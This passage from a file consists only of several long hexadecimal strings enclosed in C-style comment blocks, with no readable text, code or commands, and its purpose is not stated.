6123985a2f5bd40f93d5c5785400e9cbdd5e99342af5300e63815d9bb3a9e90a159c667c6853a8b17332281e9a105769b942731418aae2c05e039053af8dccc7617ce47cde7c8fcb80079804e0428669e17e1a630f2d151e2e67130fdc2d2cecf94fbd34143b34aa37a6a67149166c1317b84a712cea4b9a2b2276e2b2b5cb38e13a6b87befc787524032bc5e42fa6668f02bc0b9230a09eec73cf1d98029051adb8db67f08bbdb30edb512b1cace115823c38a8e4dc387e6ce0c840ee5f203d0626949fdd6e211c7f80aa42b05a34e3605e87fe7914b05925733ec7edce5d7a9d751c0b9e3077205a3286b1094038a08e5c3596a867a22a180d85f8b37ae47aa95875f63bafd1715a491e61156d5e31e4888edf1f2fa8cc5f1049a311ce9ccfa4e7af92faee2e56ebdcc4b692e01928a64748fa94be64719a17865e26098fa1bfef44844f0644aa71cfbbe1e625200b65c336209a539c6cf301bdcad738cf5683393f6cce35466eb671c581afa0f1722aa472b14c24fa8d72a88e4a31ad847bfd74a153668802c16b41961eb76de3b3131ca95b6f21dfb9a19bd9182de950a237a673893ead9e29ef2743a9970499195358ca28c2e88af8acdbbe063f9b7469881b806ab611a804f2f2d10035a3dea88c1c85e6bf75a790dcd2df5fd74ae54627eafe87ef2f9406b3b3653f8a91f812d252b069e4ce1b08331ee46c72f31f656793431841de0390d9c8aee5607e32f9a9e60165c37fcf96e6284eced4bcd6a5eac174439658fbd4fd0863d84ca0a9127507c949f42e927873c5bcb6dae178f8e7e914fa901b13e557074549e70c9433ca0dc23739dc7c093db84f31a0817fdc968e835eb4f2d99f3d5cf7b23b738a22b766c208d6c09e597168e574ed69286b194923417863bdd410b20b7acd158f974c5374822841ba78d288493a31daa934c2293b535810dcacbf027da464ea8f53988f73ef7726c6b1cec378df2d3c5b9208473ab6fea2433fefbc35d5c2343be7069717417183fb0c76458f323f1d8370b53132809bbf5dfbf1ffc4961b120b6bbacf8cd76e27d84c0c4a39670176d2446f74c35b12405c234fe3f8e953a3a69f5bfe7321bebb39e90722409f1f22047fc6de81772b07ac3701d61ba861963b17fc1c9c6ade9bf836be5987b62d711605e08eb132959b172bf8abc3cbf42644b8a3f11f8b9f57448a273ec76fc7617f4beaba0fd48d6215b3aa2e97b1509058384622c505c97505c76e522d5f8beed8938db2e1da4b7e88f11e473c95a4070aeb96f6854382b2f835e4324e690f0417774ef866c739fea8e7944a3235cc2d54db2946dec804e18785e8cd41b2f87970561e6a28b28f046fba8314ea3319046206368c0587f669644252dec00abc6e1e905602fca0961808cddefa42e3acfd3e8d91de5391ed105e6e4f95b3f59647c7d79f9ab11a689da5c7882f1c08b3ef500e32a27627d83184d887f36949f2e9221e8608dea5818ca167d59be732c168853780fcb5f2547e5da2b600294ebec0c05e9e740082ab1bcef728a2cb8c5fa52923aa849141e9da93bfd0d0574d91d9b5016e496f62c971882975153d8d2bf372e6a3e742da77e9c69098f851278fc739fdae9a8a807e4de4da7b9b740ed02b347ed31eedb251d3efaeced792776cdcfaac6a17272f7d2454adfd4805e2c70ca7aee470beeae8cfed49097e9abfb921134691ea2d95528cb103dee32a91c187ff15c9070c91c1ff2f160418eda7ef42d2ee5879513c87d412087c118e0bfe7797257849eb438231df3a8049a2427018aed12d7e0ae6e0b97dc7d66078ae8a9342ab18c6cb83e0268bda1615fc80b7ee97730a7da45ccd4ad75e0e67b665b4a66de4da63156dd06cadc4f377f8592828ad3710baf372c19b0ce357a8d4f6e23142fdda5ac6f2edccaf4632440038f99*/
/*697b5ab3281e53dc0f4326bddae6f2e5fdda8f6913e09078fcf6643ff6ab9f2f183970d3f09d8915ed5053e6c65e4994b0ebba61e7d4518153ad9f10462cc2918304fa7b594a6a3ca8474db696be458ed089de9f0465794158ef9e942a5817348f9cf34ad4f34e75d23de3b754bab9a1b43dbfe8445481a39d9e91ebfa6345ac77ea14adb589d910f72d05a20b6eef3c5eff23c41a81f7e65a55dd03a5f9f3bacbbb49f6ff2bf848ea1c35d4e936b4d5d23be554eae7bebf738aea22c1220ed27fc26c9c5a9220331448483d74cb770d54a70a880de98b80affbadb1168b363d7790e38ea881934d41b41720ee7493cc338999354675d61cb7446b1102fc4c979eac051f9f6ed4d66e197ce15cd3dbe90de08dcee5cfb94c4be2cb17619df3cc6255a5bb6afef4dd7d39466f2b52cd57c21c658eb100fe4d00acd02d8ea113eb2151cd7d21fcceec3aa76264d2507c36612dc84b6c8245d576f78cf6321ec094490d0b3fcf4466e968b96080463c78ea4be6f32b65e6913aead02f5e63007049439abae3f80c398e5b8d77533c94203b4fe153aa8d5ef335eeb56fc27de1699fe48946fc5934b4a66a82dfffd33e20961878e7a9f8e83874036a2d291d0416219529de6066617d69278d67c84bf18837b6d6e8b34512a3c497d467a7d3bd58461a50cf3fbd81752bd0fe2cfd8741e3e0ef630c7324d0c7596db56a62020eda0091af2cfb4e19530fed767c10ad61e0e22413758d69e9b04c7858f02617c719fb83310dba9310c19f1404111441a6360a496c49848cb11b09489662eb7a4221c4297097cb86fa52cb23fe82d245cf5991d8bc0353889d5148a6f6f2dd8bb03d91a584fd913a5732efb436c94b2e0146925560cd1559fc5d5aeb26d61581218435dd2d9e625df1eac5d282d984cd0ed3dba035c6b63d5e1b1ea789a33b3aee1c331fd97ff733a156fa18037e24848d8eee9eb823775c2eb3e98ce9369cedd633c43c752ecfbeaa8cba3deb294e1381781d45a21cf57ddb56d7b8472de3e12be02dd605d7819217953f1e4ed66f8ca4a1f7e7bdc795990bf8d6e094a91f3066d29393b2128a0223f698b5574b8a727e4c4590f6b41fd011c957fec57f754b542b68db5a1801337a27a480cceccd1ddeaf02371cdb55e42fe918888e590e92ce73d296fbab42b0be76eb8d78b986d90dce52468e67487d12452a64060136d351f5e5268d9540d91f45259e4fbc1bbabcac8a26c3f89668fcab2f7b4ebc7e81fb38b30f7a42bb0612946ef651f3a753566114903c6e09b4282218f758d56623431682bebc99f52c71d4e06466cab1b7305296a2e4299962dbb7f1745938ce6bfb21f0e4cfb4903054ae43f51645e1a81a646e691eec799bc8682b96f1c348cc02cfc32b1fbe8a5139843bcc8555c45e79f9841dad67c63446e0ff18df7add7e30d85fa14b73f96f83a390594764d783369e5531524c89389ffdb7b5c88935f412080ce041b1aedcc941451c2490271c0555aef92a3fe64f38e335fc7137b7f6d57d1f1dd86ea2521d3e6aa31b3d21baadff400a7551c404d0a79cc561bf5de8d8503fedfce6edfabbeaf25be384ff22674ecceaf972462b746d7dcf24d372dfdf7b6ee566247494b090d51c1ec2ddeaaab3eb858b9fffe4b61f565913447c4f7be1bd05761442c823484e87ff6bf21e9d5c433c5b94ddb488814294dbc08bd01c8008eed1c7fa0387960508f2c879b63ea988c6ba2f6b8f2094d60cea02f6c0116138759d1debc03c6a03c7d5e8b07189e42aeacdd50b730a777212a566fd9cc50a5da585d00c5e30ab644cdfbe20cfdc379f03d71084fadec13eaddc860bc6e3ebdd71a358a833610c6f65582a09e297a99b142fad56f393ccc7122f4617a8e2a20cbe9eb974ed032dc0ef6194e732f714715f527ce1a12c8c922de162cd3b715450eb95992b47f11a62cbd2fc95431728e8b4b9f949d45909a82ba46720ea2a45a68ac226095652ddb68559439618f08d2ef45e4dee7efbbdd74bde02b83fde5d4cd2eb855a977f35e6fef2a73b1a3a44a8d7c81e8e19d621b35db054722b6e9a33fc9455dba77a6d740b4bcceb90e1f9df63f1ddcf3cd51d0359be6562006c2fa067e9873ed66c3612933d30dde36bf237b72da41b984263257d33209288ba2cdf99f2c334ddbb67d8f42adf7650ad30ab298451d39f975d6018cad28a8a4afe14a407e118143e44976b13d56d1c92c05a40d8917793b81a7a567095c8d9a45b619f87cc1b41b410968fae1491e3f2bee7f8f2aa8e8c4b88c1110cc70f8d9f0ca39a3ef5f9d70b942125444f80796743c7bb236ce41327cbea6060968f2d0c956227dcd6e280c72a655d31d55525be02ecc1f644fe1de43b6798ff72c1395e2f567e6e41f505c6b3dc65f6751093a85bfca29d0c82932ec84856f28d3e7faf9fa3828890086872b246afdf5595f98a73ab42aba8c8a173d959d55ee1f10259834c9ca56626e996e37146a52a782caa194ab280a81650ab6a365e4bfbfc28df8ebe556d854f39f3ef78762937f0929667da25acef29ca1afb563d3be339dc3140d3c32a135c60604ec652e66ed61713e16edecf4db2cf02f98922afa80e9983862ef7e6d9e65e4edcdda30955f5eb99ab44b492904f75e1ecbfd22098612230ead3b9dc23d063bbfde0acf9d037052883df170307dcca5c55a75cb1ab87e41a6da422849cf223bfd2eb3ad9d4f25de188b1afbdd6d8858caea9fac9ae755f9509df5e38a16d6713db38e976fa645a5ea44d4b0430e117e78c69aa8585047468705149e2b16726ee7df31315ed7ca055521b*/
/*e1b134fcd72a6599671f291b66dabe8d4313f063b0b78dba86d791122d797795c43c00230f0bf588b3bc27d09e3001be85fe1180c30a7d1d4a04570aed9a3639b4858d215652e429b8d85d5b9782a473e37759f4413052f9b5efe15fd9e0847edef42873f51c83d4a46580baac7ca72b08b363d4b624debaa8440462a1551fc41bf723c1906cf737510f3cc06c42d6ee4444c1a9b6449ab1f215ddf77b6e313ee0b13a1d6f45d2ce02d5334096d643502433e1157195d3794c0933bef2cf347e9653e463a5a8a2541d30004ada8c196b9f34c573dd5de5047807099f968fe6464e38dbef9d4da1250c5104f88e5bfe51e5b8d1a70c6e84c5a93d841fdbc984f40c2792708b2f76b891fc79df8f11bf0c0dc4b46832a923c740060f78a53d2aff74d770223f767ce6c7f2559fdf064590d5778f9937d4b9d8e6ba656bda2666c5867e2b1b877d53ee7781d3e7f0de2f9d8f7b0bf3844374ed378a51dff24c063ff7f7e572182e2d60063faa48685e4b5a2eaee2e162150b133e4db54baa4a0ff502d3656dc4d0b1eb5e078862823bda0637f8f17bd7b419d5eca0ad635dddfc06d4c35ff814393333ce50468356f9963ba6a12ef3f73f68253e91a99ae9fd901266650c07f9644c03f4fa2d59a800748aa8ca2a70963a69c58790854fc5cc3af4b19f6f16780bd68d9bd2c33bf56d99882a1e95e8738ddcaf37bcb1e54161eb8cd8558169a333381639f8584f779585159dec21a18d41d2d6f093bf5085c90b64afee3003ededc71fc1d1cfff64bfeaecfdf691c5b3e04e1e92744c6668fa2d061f4bd4b8e6df05b18b06b24d0674e083f5ece408655e407c22f0a05561c1f878063dc483a9ebd233dad4a40231bcad9d4c9588e8a699470025670e9f58ca8aaad00bad6be98709198b31e2a28bde81996542fc10adc278fabbd477b1455f8ea970ad401182b014b2d7c5a2a9e1a744781e2d1df77cea26190aca502f31d7e0313011314a005bfb562d2d3e1846654de1400be778cf6b59757d4ab1e64700a1a133f4eb5a04aa7605dc6a739bd7db8f3c39eee0374f8e7c6a0734ff065b0391952d7e568c567672d4c452ec5670339f114601ea3048f52f01a9a1464ec72b6055bb1705c894b55ff43327b8cc7ca8a9903845fbd9d516f6e81ebdc3e6491c7f349cc3a09d7dc956faa57b71c7c0da06bcba438d6c452ad9163073b02e9883143914fbce2ea7001887d33fcf1b156a5757d303e2ffee2dcad17a77b3050d9c7cf93933449ed1261a954c2fd318c1565dad1152121a60e7f6fc97864e1865893881a06ca88956318cf7cc20d2c3061b6128b2faeed0f4dfcaa460c06df3574c347b7dc712c8cda086abdda214af7c48197b9b23bae154a53ad75d8f489e76e0abebebf6532e99df06f79cefce27a65551ea946d70ede438ccac9bb90678fbd1d9df869a31d85af5c2581d71039ff1c16dd1fd19b67feb999290509fe98c36b8a14dcbb2b8b94dc791ca8a5e88fcf6ceaa345571e7133d1e75ac322e6da142146ff7c284378a6e2fa26d92d3a3f2582c2586c9fa301bb986432ca43cfdfc2a534d0dc2ec7e6c87f356380b39ce46acbbdf973b3ea93a493f3a77f05d4a2e84f0ca1936d5cf7e333541af4e8892f9b9f9049935fde35d0af6f6b9d43d061e6380b1bfb75bd85ea3380add354dd665f2516fd428ae8178624545023a0bd334ec93e289f43d0b5c364b44516d9544cfa5e5897f4c1201342108d9ff98e4cbfa7c2aa57212792432e6f9d160d0860259de11b41e4416e6debeac64e973d85a28d7944f80f4b353401d8d237b1afd9c34e7edfe8a7e7ea5cc3c8bf7994186af4b480d3b469996164e6d26f16d92047a1d01b7e52ec9f5570a71d51a3bb237650396dd3fff9ede296441079d6bb195ae77f7c3eb89404c7a197c44963a6d2e2eec3fed7ed06171ade000c108e5955c0a4b9dacf2fe8d8037177c077ad449e895cb2dda8202f0bf40f03c428a518a8102eb7297bfb1cf32fa8dfcc58706bb03052a2a1ffec9fd13352402788537868c7f3a7f0ca3f52f41ce4bed8d08347425ccc0e4b4ef784cf430ef77b8254d67a262f2e1d18a063dd77367092b4bba7ecf240a03b052b679da28afc8fc708a89bd0befb0fec618ecb701577e2a2fc6da61124ed8504608ef59e0c1148115b9bb8934537978ec9d8dc8c26d74570e9146755f96646ec35f7aa20f0d288105e7254b60fba8c8755937dc95a75a6aff9720704fc90df8d566d408eb153f9bc38d90ee94b1f741fc3fac6dd632220e1e369d2906aec92e668ada6b4cd84c7de46952a4688ef2417c2af317311bf4d53166d2305b799a367deb7a8311c60f3195ba73b5e8363b65d48088cbb9047aa4752d42115dc160f60d00a701c62544ab563865f5200700811f490be65ef0e17c5e6cb10c95de4885628f89b8c62df03ed0ae94050395390dd5ccabe6258d9eeebd377473fdeba255f29a17348f0947253241d51a2c4fafd75ff1db559d8e637b89ca488d48261bf913122984a270d9c9217de2a8cc9fb689325ece39242210e1c75485c0c63d89dcab69d472b67480d43848db77639cb06f1bf5f640b9e3036e21a95572c41f3a333eb6a26f76da6219506ba42baeae71fcd44c0c9f9e2cd366fabd9bc34eba49b84925d5c69b9a66068039ce36d2b742650186a230f207cc712e5444b353534ec6509cf38c5106de6be8d286f87594779a6bcccd90fd1bb44a52953681334e98ae522b3d0eb5ab6491507c0f14327243b18c4dff1635b0deb6886798f4d3142ddfe02bf21360f57a1a0a589454caabf8907eae*/
/*66c64fed58da5405f2baef92c96e4d2f24aff227c2174e8c0b857fc2f1dbbff6039137d1d52b8bc87282dc393f6da234965a1d100d1f793b9511a0c995f9c69c4ed28d367970a57fd41e90032a62611b2505a0cfaaa144bdd6fe5031d6b2dd0ce46c5ef7e5bb43bd912ebc34037c92a0ed5379aa10854807a0a3276214217a3e576bd11be8cd96b17f966a8fe28032096bc3a6b55a322fd7330a21d13364efa4f7514c1acffd733637941876326db372e1b5fa27d1d48794d21c6ca205af55d1c1f4077ed6148a1663d4fa9b581a5be6e83ab9e0ab2b29fd29b0b97384d10429511a158ea4c3ffe8c5f1f2c0c53b6f465e07649ce02d4eb56de5c974a23692ac0b3009ae09f9967f58648fb07c428ec92782d05e0e7c5c2dcf718937e0e9f29e06cfc1fede7170e28cf8b0b0ac43b998231c04e870217798e4b76e214d4953cc6836e9b076949c91473bc05cd87d4d4503cef72d4671ffae6bd117d24254b44d6cac13ab674a2699d2e376fc2aefe7eb54a052ebd59ce6b18d5bd43126ff4046fc1d55a9b8db596b134dda233cc66246991abafd6037562f08526427a5766670dabe16888f6db961d69950ea84bab4a7fb21ea2ce6f69d77235d26195f42f9d49270333a428f6046478fba3f8084c86720893e66737602df70e186b9978b73e8f6a2126b8e76638906ac8b7ff5a0f4f0d1426039914dd0abb0dea6e956e3ad2a5de6bc1e83b77d95ed79547e363dfdedef5dda2b30fe0ccdd1a3a59ca2752859b7da1e40f0c229fa5203064cfea6e904e1dc9ecc12d59727ce94aa3eb763e0364eace37559d27437e68434018e77392eb0b3ec717384adeb1311419e1a878cac92c78681c79e873b067c55cfd9dd146fa18f42767555ce23ce2b4b38dc7da9737733d834d88cd177389393850892640a1faf8f3525cdf6e4a411a3f7f37eb0b40d938ad5dd6d13e376a082b6e3e9818f841c5320d614c689cea6d5fe1630e95975b599f5f3244dddae766810f99c7d1f48a6d1b29134421fea184494cb0f6a4fcad084fb8d268ef9f35797799c14d1cd34a49b7f165138a5d25e0c9bf8b74b7342889c20f9db27c2373f8949423372933cd8b9427bc1c8a6ee21b75c3902ab4b9c47afa4632b7ad8fd10b16f2faaf482b4cc35cf833af54f391ba2bc319bc7992682db078ad2c5f746d08c1f89fa144f6cf332437550901d1dfc6e129a649a39029dd65132eea25439cfb56b3faef5441c5836ba58c2252f55fa4ed093e39c917432760016e5e1fc2c6b4f9ea9d6e25f14855e0dbaee95bbec67369f2609397b811a475a3526bb5c2eb952c86613d44be7a2a4948949b26e4456a11174c40686a4c8604e834a7daafb4ca7841ea5be97b431876d1c3f57bca8b0ffdb58e11cbc27da1b46aa5651c24242b8389cc487c6a8b85fe7801862970f8218e4cda108c4863b7d9c172478217c290e8a9ddf5595cc28c1f31c80f695d91a340a9d81b6633848b45efabfd5f6a36f4a404f869ab8d0962f2cdf20a0929dd981b1572790005767afddaaf16b91eb1304814737c621fb79c24d0e32f79c4f6deb17abb08fd4d3f509b291863ec1d55d3d82938918e3a908fc2ba068e2453e81ccb32fa21e03a2f2de8bc7e39f1e82ce4e99d8d039c288bb1e235090270891596b67501e8e777c50397d3b49dd98131136025f33a195cefff6664014c38b32e8360edb56b27ad8119471693797ae379ee3e1e3c4add63009600d9e45c7cc53ffb6a0de34f959c529e3680153c72e1c22e264a53889f2c5bf9df48a81780f88b91c06ded11b55a24bee97d5e66d59ee619345dbf0f4d88585890cdf5e2dbc0903c570fdb768f94799cb48d2d5c538c519ef3c46fc9d830d8151d98b70bfbbf93dfd50a191363ed0b61db0ac3fe1908e53706e14813020e88077f057fe3392c86db3bf4cc5687c52aa06eeaa4981827d4401c5843534b901b29f805fae78761cb52013813ee9ab9f8bdbfbdacec25e94ea822c93734d9e51d90c440bcf66bfde09814c9a1e794402419206a78e71d5ba2952f1a93c0fd86cd18c4a6956266743e6b7147102b9d77bba1f05e73315583b8d24a6ae87486f66614d067a1e0c82450d91dc019cc430603ccc0f2e6b8e33029c1efcd1032b4059c2d8564c72d254183ec27b14c63471cd417b3cb4cb4d0d4e05de8c31be1ce2125e17b599208521a868cec976f4b5934c15532ce978bc2ed4cbe1ccc9016e38ddcc26177b6aeed031fb3dfca53c14bfc53f67d665e5258211c650cf63d469ab5da0fef3f8a43fa09cdcda0812df058516451388f5313fc655335b4282956c9e4dd5cee86db92a277d0f34fb5425718400e7f68c8529de3d35e86fc35b6f8b680e57adc8fa7344f837153d48c7c60504c60ff27759410dd6e8c37d9c454b3686fe4d9a86a26956a03299589c88192d847c547b9a56f26ea90c2e0c82fbdc509601e12fe825d0028bf8d39ba72e9a71be4175042a496effb87c6d8b26c5a0e9e615ab35c5bf4c75295b8c9adce9d9d2aab7890fa62931ae120428beaf853a95006c218eeb834728e90c85d8f79ea14007411f24d61dd4d195883b4d642ce526670029d28f980e8f9cdb9222fc0d282fcd84b2c9e7015dadd52375dcd09f9187ed95074ac04439f6858d79509bd2320dccf60217749ec30135ecbf6e7d414299b031edeee6474f70533b30e47c97ceb967b19fa590fad1a505bf953021b1b80d8c98560ce2d74dd01211ebc081fc5190ba599bb53cb3769f93cf27c11c6ae6c92ee7e28bb25f99ec4c102e775e76a0c1ed750b7d3b515c6ef4817263a7d514c781*/
/*a1cea1d58f248eccf702777a4d0515fb21ba4dd853967e1281c72462750da0f1a80a27f46dce66df51976f6a2637c518ec06a77070158948818a7eaf31b64029e48ce7ab96e401b4585b9985d599ce88878e52fdcfd8480801208b2e16c9de5c8a98a116b09a59bed6bc2267cfef43a98700a64c3613c0378a17ed705031056b02a9e1694cdca6b5c70387d24acea9d9767c779dbfd937ec2716148e93ec0862018817f8fc84b6b6b7d2f653df1bad1d4b8520095a71d1ab45363a07219518d7706c3c8172085163d07bafa857fb925e1f628a607f6e75deb1239a61c15158248285d6cea318ae41d85a96851d5e2dc1b7b39a827e8bead63c9ab87236cb2d45c8c72b8284c9748471ed3121267356555bb51886d36bc970acd2e8e32cc32e9566c2b0d8ec7b6c154275ff4be7046d388362d6588d118a1a1ed8b2a7458e9609b1f1561dd5f5bb733519127b71d56ce841275d284d10e0a7549913853dacd42b1d5a9c9b35c2629f6a487f22121a48de08b0a2fdbd914660d4b0f8672fbf5f5400ffbf08f3051913152776da02e23256d6790dd3774b249a55596daefcec062de0c4c0ca283a56eb8795922eca8bd6440d02a5652954e450ebe01e548115fafc3f193feac58bf71e51ee0037acf61e92147a559db57c7742b7ff0c9519d21d1e6f88d3e40b5584d59ebb2e613937285d09dd526c776363c918b3c108c40fe070c6935efbc41f6f7871f86859b552525491b4c0799769bbd0ba20548319e31f9a570dc1c7aa06d99c0f2cc82ba6182f0cd56efae339e8a6eb8572f80fca4025c54ff46c483b41df453dd1a49201b4ef3bb12eb6f4a77b86332d9c3e68928144c86e7dfd77cefacdbcd32e2bd78a99f421db09b130eda20974037e77da14378f941f96c8cae3d36d719e3b34b99be981cce3c567bdeb9689eca7208bd561d230ed1a2b9ab8e448f96155bff15e7d124a58f7448e2ffc7ca062e4956e90832d2ff4199b20328a0c6506bb46a3f2f3f383376500995c11a73c257b4b0dcb1bad12a08a4284b132d983344b8a27758c67ecdcf284855e7abb47a598d06902201722f1d39c69978587428f937999eefa7436e8fc538fae72e120ede3488715c16e032fea4c822b5818d525e1bb1abfb3807c128f6ba718f34640af7e244d0645279ef62fea5e60799bb0a647fc0225f34bd6c9b461a18b62fdeb7734a753b907d0a18015378466d9ffbec09dc7b2dd828ce2b7dbcb7643a1e89bb0948c7323826053d0b915c869d4c7720d7a2cedd51e37682d46c292df044ecebe1b0cd31974c8ec9819b9c5039c03e220c7010dfece6d76ab6474db7c1d63940b1488495defe343df157cc37fc4d91cf4591affb4e6d17b5f46f7dccbdf548b43675ed41fd9e13ed93c51f7e7e99b91affa8d1499fc3978d6c1f6499dace8462e31a22247f3694e5f1240640fad0d970781558bb5a61885c9a1989d85c2e48c107b6a40437ca3bf482ce920acb5c8229ecbc4f79fedd7ebdaeb239c9544238728a694eb752b41c42b6b34d8a810ae6297beab171b9a087cb32f905ef95a47a34d7b4efcab27a6a64764741485f3a5c1aa1ab614c105a29d3ee91520b0694ca06b1d0fbd5851b19f2f1ce484d7b2773d9a2a00aeeb47f41e3afad7a30ee9e621699d262d8e55dc6430adc8ff8309101fa5e4d9bb3ff3debbd779c56bba485b14b05588e5f8925332ceb51c98ac37c609248d2f56e373b782a8fc9bc081b62656d57358b492483373c51518a57449d28a3c7a8d87695c3463834c738ae880b69c13ecb1202719a4b10152175f53bd9c4049a5ea8ab4958b8672b8b9914841ddf797b566da60eb0a73fa2504e51b03e6b1992064c6b0c0acbfacc553700858178169898e5394b37302c9f7039d00dca967d451221bc4a683a3cda3080b885ff7079cd9bfd536966dd926ca2c63c35ab59b1a02259270bf2ef50b4eb2621ad29382130599fb9450a6ea7eec16a05a8c93d1b6f0db53fe3612f71ef6e4cc58aa1cab709f6c488a1d2b88ee7af78a5720889eb49f33ddae332934fb8a7412beedcac7b8e40be2f5abe9acb3b1c1a07922ab7dc70762ee697cb4ef5a9827d8903e37ab66346083aab11012aeabd6f596cfd264aca399aeb1d674415fa15c4719745e3db4e90a2792f27d2f94213cdde288cb51324acdbeb769ea3d331ff2310be5d5064f2e6355bb19e25f5c6183eabf601e44d6ee5a1770a24d4a3838ffa90833fc3d56433bc3791e3f79b45c28e03c66fa5d6e093afec5f8323cb78d8b2538a18e20e16a8081e31aaa0a90464b41d0656d32d58a632279c06d922fee1cc6fea63e97438a3df947342fdf88718689ab9bb64049d23dc2287d85c7242e3d9576fd38fbda065eccb676e34a4c468802f66f1968ebf105392fd09b3beba10020beb2dd91ccb67f5e1f954a55f75fe73b74e9fa8b5a94350daa620a2c97f993c290a0d0ceac72b89737d1b55bc629d36cd881abe5d46e022e9ff4770c89ac6c33f3daae5cac46d8093ba349f728805d1c009e002b78c6bcd4a277c68e4a20fc51128ede892eee9aaff9bccd253b738b29c3f6b220a866e4c42413b7c9b6d9223f9d4fc742793200480b51f07540d4d3ee7b771caef71d0e974901518f00d7cfb2768b57bb175b5ae2f81c3317e94356f82648a764766bf03497619b09f1283e0902aeb05c0b5000cb54d77d8aede65e61c55d27bf68a8756d9124b1e676d6ed8554ee64ed78470218919de53f3b195846e1ea6b7a52844d154e3599cf4c1a68f2e86d4d12e6a4ed1956c3da9d32711d84a875c503d66882cb2b3f053e92*/
/*d8c3dabb19fc5b59ad4dfd6c3f84f6ec8cf8c7208bd5eb6bce21970708830b0e5b0963c6072e5983039898468407d7a3095a8e36e1d2bb5cdfc45cd0c830246a10b158e043e30af9ca89cf9f8471b0ab82333f1161565b8ce59c5bc7c4021aca8d3af2538c213d88614583135b7a2c3bccf428116c8109cf961d727c778af1705baf6da5f61a0b255c7a705f4b9cb141d7682a4d3c03bcd5684cbe330368d08db4b23325379d944d85e14e0a76d67e27c64a933d80c7fe3144bb424fe8ab6c8c7467df25d71a54cce22f5415a64bf7045038d76006ea2e0f44fb0588e76a803906c3244158da1a0f7687ae9ab8d4241c6a7ddc4154ee2ddf9b41e029434d2c27ca677fae9960271904c9c747f4f65d2fce9d2c7b221961766d72fc5b63bc295a086f19b670ddd9a65785f871be3cd825f007d346f9b9840dfd59602b2595231e875d1d21ea6e85b47088e27928a2205df55552194ef360e07163353052b05ef617ce377dc97c7ac16b52e89433a7a76785958a437b590268cb82e7d659bc61057a9c4f6820b4dceff5289df1f7c3d200703cbe6c96b8f7235b5debf33495f8b1076cb68814f8a8147248844b326c309ff839debdfbf31b81f9cd7208376f5281f43584cbe63fff1914634affe6d991142b6cf8481b56ab0c05f4232895ff11b1fd1357c6cc4492476c5f82f1cc52dba44665810e17cdf486547c68fd8d2a9b2b4142b058348966e6270c9aac3e7d971a33dc7dac00065be1e5052fbdf3b6280a86cfc04fe3d4bb97359c3dee6c8bfe153916ee35400b112c0a413b021f756bf9c0cef8a5546ed8b048bf61f4598474876ce9fb79763dd24008de9ff30dd73e4bff83631b2cdf376463bcd2a11502af4959f29492604c88cdee3740c1019dc8432203a78a6c3a97bea7850f75f8a754ff9beb349e670ce743597e05535e68dddfd5642a5c7d2af0310b51221169cc9cdabfd06e9bf7bac7ee7153931ff25b67cc95da0d6c67526604dc2898d4183f8a4578d38e1dc1bb57cd57e8077cb25eb0bb3c9a2d67efecf3ee6706904e28d02b4eee80ffeb6258862c24b57404758eefc04b64cd6836b781e5d3b0c425d4bed3bf3b68fe7653fd50f5180aae9ed0ec0cbf95b8fbe6593729e0adc0f8d10a220d1e1113c8720f243fa55929d63e4d3f9f989b927cdba00d44ee24cce4c7565be2e9e343338e026819c48e55cfcd6933187e59e85794a41e3745206a2905bfc2f371313effba02964ba419123bf54688cb3d335885e628c393c64aea6ba8dda0a5cf7d9bdcd69fbc91a6fc09afc819d777f622c68f9e8e671dea442b1556f86925d0f39aa3693cfa96e9a00bc905f078520969bef10ebe5818ce06f4dd8e75136476c71bf92befdba1f79d56c1fddae9b75cdd26f8ef4d5a4a5f579a361f2f78394310c860e798e4781fc6b4db6d04714a98ec01729633870cb966883200255549001f5da490d4cf9f3d2472f84d2e4904a2fbd942bbbd97172b0286ef4e6e85a6e505bb9943ae62da9fa980cff51e5a9eca494576a317f81625cec5b199dc2464aa31f7fcb987ea36bc178cc7e56c9189f67584b3989095a7cb78b40b96695e1d2a4459fe22d146c227295df39efde4b5e1cfb0be9e489b4eec05b57083ef8ebcd9dc3ffa6684de5a83476091ffe9bf15a513cd3bee4f2bdbb14745ed5b19638a5e6fea64ab738fb89d016d9b45d40737c4cd693ae04b522f0571d75459f29f4043d86f7afdf3d6aea1760b878de257919ad08ec10115e7fbf4ca4f49df75c9c1ab8d8b6ecc9a613fb4aaa0c292877880dcdf8b2b92562450e85b895ce08919b88e0410b7076db0db48e06b1cb44402bb4515044acba9e691223748b8919d6e6ed7cd9e7149b46fe4cd26cb9f423a226fa7438e80fde1c5218ffaa9c398e7c703a4abca8802b1525e9137daa6e80ae978afbca4117cc5c7d2b77fe9e0d50b8856e7a81aa6758c47b2b49c0d73795d18a3dc4b1b57b6f29039a2fbae2425b8f72c8180083013309f6f5ed42cf489e94fa205810785c559b3406d6aababfebd35624dd04c96ec9ab47d1cf3de8bbc3d9eaaa5439a233096c1b11468ed39dad2df639a342a16a6246c33a21ba669357050edb6d5bc248106a7256fe322d1ffd2e33e1fa38caa6ca6e78b292b6667852a0e713eb723090402cf7885aad21959657a703fdc7bc5d123ce65f8f97a46625aeb720cda7d5e4ae5d1e49e9d0b28b80c52ca3eeb3828f71091492a0513f9309dcf0948eba820426f5b798e6ecf49bce4e7604b005320b7e470ae7c9f91bece3cf946dc490f75c468712e3d941d6f1e3d46bd12366f62d5b146216065294f70906fbd6cc8816635a3255d6c1474b47d67a5c383f3af929a33f1af54f602d87827a31dd8661e0bb9ef338b5e014a59260701286d489da5a1bb90ee3fdee0f3410e5e6a14a250d80b3a1928a3ecba580991eae35dc4d506f0921ea13b294cd472c3205fc9e750dfb1006fcbf78dcaa407c08423f6a612c16aa613d11e79f5a89e043dcb4f15e19ed5d6c4a04a2f65345e6df9b28c5dc89b89f95350e4c1c5934f0009fa43a2c7e1ec62a402f18ee0efc3bd14da9e8619e78c097e69376abe5bd38efa43a8c293449573cfc280d15d14f60934d5a106ed5ae644c426b3b4b2c314f7ada4471087a735b238fd9286c47806319dd86dfeaf294041837ea1c2120741740ccbe37e9148cfecb4a2970eaa3739e653df4f99be9be3f85f7f65452a49f08afd1e4acd6a6dd70d4f3e2b5ba037328509d135957e0719eb1be948296fc8c9a0bbd104e3452e62a4e1d9dcee39ed610cdd9c09*/
